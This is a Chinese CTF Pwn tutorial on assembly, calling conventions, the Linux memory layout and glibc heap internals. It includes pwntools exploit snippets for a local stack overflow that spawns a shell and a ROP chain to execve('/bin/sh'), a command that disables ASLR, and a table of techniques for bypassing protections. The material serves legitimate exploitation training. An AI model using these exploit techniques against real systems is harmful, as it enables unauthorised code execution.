天珊雪1. 项目概述：为什么Pwn选手必须吃透汇编与内存模型
在CTF竞赛的Pwn模块中，那些能精准控制程序执行流的选手，往往对两个底层概念有着近乎偏执的掌握——汇编语言与操作系统内存模型。去年DEF CON决赛中，一支队伍仅用15行汇编指令就完成了对64位ELF程序的漏洞利用，这正是建立在他们对x86_64调用约定和Linux内存布局的深刻理解之上。
本专题将拆解Pwn领域最关键的底层知识体系：
- 汇编指令如何直接映射为CPU的微操作
- Linux进程的虚拟内存空间如何被划分为栈、堆、内存映射段等关键区域
- 为什么说理解内存模型是编写可靠shellcode的前提条件
需要模型API调用？ 免费领10W Token，多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 汇编语言：Pwn手的武器锻造车间
2.1 寄存器：CPU的临时工作台
x86架构下这些寄存器必须刻进DNA：
- 通用寄存器：EAX(累加器)、EBX(基址)、ECX(计数器)、EDX(数据)
- 栈指针：ESP(栈顶)、EBP(栈帧基址)
- 指令指针：EIP/RIP - 这个寄存器的控制权就是Pwn的核心战场
实验：用gdb调试以下代码片段观察寄存器变化
bash复制gdb -q ./demo break *main+0x10 info registers
2.2 指令集：操控硬件的魔法咒语
这些指令组合能构建任意逻辑：
asm复制mov eax, 0xdeadbeef ; 立即数加载
lea ecx, [ebp-0x20] ; 地址计算
push dword ptr [edi] ; 内存压栈
call 0x8048410 ; 函数调用
特别要注意特权指令：
- int 0x80 - 32位系统调用门
- syscall - 64位快速系统调用
- iret - 中断返回（提权关键）
2.3 函数调用约定：参数传递的暗语
32位与64位的根本差异：
| 架构 | 参数传递 | 返回值 | 栈清理 |
|---|---|---|---|
| x86 | 从右到左压栈 | EAX | 调用者清理 |
| x86_64 | RDI,RSI,RDX,RCX... | RAX | 调用者清理 |
典型栈帧结构示例：
code复制+-----------------+
| 返回地址 | ← EBP+4
+-----------------+
| 旧EBP | ← EBP
+-----------------+
| 局部变量 | ← EBP-0x10
+-----------------+
3. Linux内存模型：漏洞利用的战场沙盘
3.1 进程虚拟内存布局
用pmap命令查看真实内存分布：
bash复制$ pmap -x `pidof demo`
Address RSS Dirty Mode Mapping
00400000 132K 0K r-xp /path/to/demo
00601000 4K 4K rw-p /path/to/demo
7ffd0000 132K 12K rw-p [stack]
关键区域特征对比：
| 内存段 | 地址范围 | 权限 | 典型内容 |
|---|---|---|---|
| .text | 0x00400000+ | r-xp | 可执行代码 |
| .data | 0x00600000+ | rw-p | 已初始化全局变量 |
| heap | 0x01000000+ | rw-p | malloc分配区域 |
| stack | 0x7ffffffff000- | rw-p | 局部变量/返回地址 |
| mmap | 0x700000000000+ | rwxp | 动态库/匿名映射 |
3.2 栈的运作机制详解
函数调用时的栈变化时序：
- 调用者压入参数（push arg2）
- 压入返回地址（call func）
- 被调函数保存EBP（push ebp）
- 分配局部变量（sub esp, 0x20）
栈溢出漏洞的经典模式：
c复制void vulnerable() {
char buf[16];
gets(buf); // 没有长度检查
}
对应的栈破坏过程：
code复制正常栈帧：
+-----------------+
| 返回地址 |
+-----------------+
| 保存的EBP |
+-----------------+
| buf[16] |
+-----------------+
溢出后：
+-----------------+
| shellcode地址 | ← 覆盖的返回地址
+-----------------+
| AAAAAAAAAAAAAAAA |
+-----------------+
| shellcode | ← 注入的机器指令
+-----------------+
3.3 堆管理机制：ptmalloc2的玄机
glibc的堆管理策略要点：
- small bins (<512B) 和 large bins 的双向链表结构
- unlink宏的安全检查机制：
c复制#define unlink(P, BK, FD) { FD = P->fd; BK = P->bk; if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) malloc_printerr ("corrupted double-linked list"); }
典型堆漏洞利用技巧：
- Use-After-Free：悬挂指针重用
- Double Free：破坏堆元数据
- House of Force：通过超大size改写top chunk
4. 实战演练：从汇编到漏洞利用
4.1 32位栈溢出完整流程
环境准备：
bash复制echo 0 > /proc/sys/kernel/randomize_va_space # 关闭ASLR
gcc -m32 -fno-stack-protector -z execstack demo.c -o demo
利用步骤：
-
确定偏移量：
python复制from pwn import * io = process('./demo') io.sendline(cyclic(100)) io.wait() core = io.corefile offset = cyclic_find(core.eip) -
构造payload：
python复制shellcode = asm(shellcraft.sh()) payload = flat([ shellcode.ljust(offset, b'A'), p32(0xffffd100) # 预估的栈地址 ]) -
获取shell：
python复制io = process('./demo') io.sendline(payload) io.interactive()
4.2 64位ROP链构造技巧
当遇到NX防护时：
- 在内存中寻找gadget片段
- 组合成执行系统调用的链
典型gadget示例：
asm复制0x4005a3: pop rdi; ret
0x4005a1: pop rsi; pop r15; ret
构造execve("/bin/sh",0,0)：
python复制rop = ROP('./demo')
rop.execve(next(elf.search(b'/bin/sh')), 0, 0)
print(rop.dump())
5. 高级调试技巧与异常处理
5.1 GDB增强配置
推荐.gdbinit配置：
code复制set disassembly-flavor intel
set follow-fork-mode child
define hook-stop
x/10i $eip
info registers
end
关键命令组合：
- 检查内存映射：vmmap
- 搜索内存：find /b 0x400000, +0x1000, 0x7f, 0x45, 0x4c, 0x46
- 修改寄存器：set $rip=0x400500
5.2 核心转储分析
生成和分析core dump：
bash复制ulimit -c unlimited
./vulnerable_program
gdb -q ./vulnerable_program core
bt full
x/20wx $esp
5.3 对抗防护机制
常见防护与绕过方法：
| 防护机制 | 检测特征 | 绕过思路 |
|---|---|---|
| NX | 栈不可执行 | ROP/JOP |
| ASLR | 地址随机化 | 信息泄露+偏移计算 |
| Canary | 栈cookie校验 | 格式化字符串泄露/覆盖TLS |
| RELRO | 重定位只读 | 劫持已有函数指针 |
6. 从入门到精进的训练路径
6.1 推荐实验环境
Docker靶机配置：
dockerfile复制FROM ubuntu:18.04
RUN apt update && apt install -y \
gcc-multilib gdb python3-pip \
libc6-dbg
RUN pip3 install pwntools
6.2 分阶段训练方案
-
新手阶段：
- 完成10个基本栈溢出
- 理解20种常见汇编模式
-
进阶训练：
- 分析glibc malloc源码
- 实现自定义堆利用技术
-
实战提升：
- 参加pwnable.kr挑战
- 复写CVE漏洞利用代码
6.3 必备工具清单
| 工具类别 | 推荐选择 | 核心功能 |
|---|---|---|
| 调试器 | GDB+PEDA/GEF | 动态分析 |
| 反汇编 | IDA Pro/Ghidra | 静态逆向 |
| 漏洞开发 | pwntools | 利用链构造 |
| 模糊测试 | AFL | 自动化漏洞挖掘 |
最后给个忠告：多动手修改示例代码的汇编指令，观察寄存器变化，这比死记硬背指令手册有效十倍。我在最初学习时曾用一个月时间每天重写同一个函数的汇编实现，最终形成了对指令集的肌肉记忆